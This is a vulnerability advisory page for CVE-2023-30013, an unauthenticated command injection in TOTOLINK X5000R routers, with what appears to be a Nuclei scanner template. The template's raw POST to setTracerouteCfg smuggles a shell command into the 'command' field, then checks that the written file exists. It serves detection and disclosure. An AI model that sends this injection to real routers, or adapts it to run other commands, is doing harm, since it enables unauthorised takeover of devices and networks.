CVE-2023-30013: TOTOLink - Unauthenticated Command Injection

2025-08-01 TOTOLink PoC Public

Description

TOTOLINK X5000R V9.1.0u.6118_B20201102 and V9.1.0u.6369_B20230113 contain a command insertion vulnerability in setting/setTracerouteCfg. This vulnerability allows an attacker to execute arbitrary commands through the "command" parameter.

PoC

id: CVE-2023-30013

info:
  name: TOTOLink - Unauthenticated Command Injection
  author: gy741
  severity: critical
  description: |
    TOTOLINK X5000R V9.1.0u.6118_B20201102 and V9.1.0u.6369_B20230113 contain a command insertion vulnerability in setting/setTracerouteCfg. This vulnerability allows an attacker to execute arbitrary commands through the "command" parameter.
  impact: |
    Unauthenticated attackers can execute arbitrary OS commands on the TOTOLINK X5000R router, leading to complete device compromise, network takeover, and potential access to all connected devices.
  remediation: |
    Upgrade to the latest firmware version from TOTOLINK or replace the affected device.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-30013
    - https://github.com/Kazamayc/vuln/tree/main/TOTOLINK/X5000R/2
    - http://packetstormsecurity.com/files/174799/TOTOLINK-Wireless-Routers-Remote-Command-Execution.html
    - https://github.com/h00die-gr3y/Metasploit
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-30013
    cwe-id: CWE-78
    epss-score: 0.25889
    epss-percentile: 0.97872
    cpe: cpe:2.3:o:totolink:x5000r_firmware:9.1.0u.6118_b20201102:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: totolink
    product: x5000r_firmware
  tags: cve2023,cve,packetstorm,totolink,unauth,rce,intrusive,vuln

http:
  - raw:
      - |
        POST /cgi-bin/cstecgi.cgi HTTP/1.1
        Host: {{Hostname}}

        {"command":"127.0.0.1; ls>../{{randstr}};#","num":"230","topicurl":"setTracerouteCfg"}
      - |
        GET /{{randstr}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - "lan_ip"
          - "reserv"
        condition: and

      - type: word
        part: body_2
        words:
          - ".sh"
          - ".cgi"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c2099862a5c27d31c18b72208229650485b37623728e8a808309c6ba80b5ff33022100cb1e0ee11a67fdd75bdd861e717e8222fe5143f4b4f5ec0954182bfaad7403ab:922c64590222798bb761d5b6d8e72950

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